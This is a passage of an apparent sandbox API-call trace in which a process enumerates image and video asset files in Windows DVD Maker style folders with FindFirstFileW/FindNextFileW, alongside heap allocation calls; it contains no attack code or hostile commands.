ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0239.578] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0239.578] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0239.578] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0239.579] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0239.579] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0239.579] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0239.580] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0239.583] GetProcessHeap () returned 0x560000 [0239.583] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0239.583] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0239.583] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.583] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.583] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0239.585] GetProcessHeap () returned 0x560000 [0239.585] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0239.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0239.772] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.772] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0239.773] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0239.773] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0239.773] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.773] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0239.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0239.775] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0239.777] GetProcessHeap () returned 0x560000 [0239.777] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0239.777] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0239.778] GetProcessHeap () returned 0x560000 [0239.778] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0239.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.116] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.117] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0240.117] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.117] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0240.117] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0240.118] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0240.118] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.118] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0240.118] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0240.118] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0240.119] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0240.119] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.119] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0240.119] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0240.120] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, 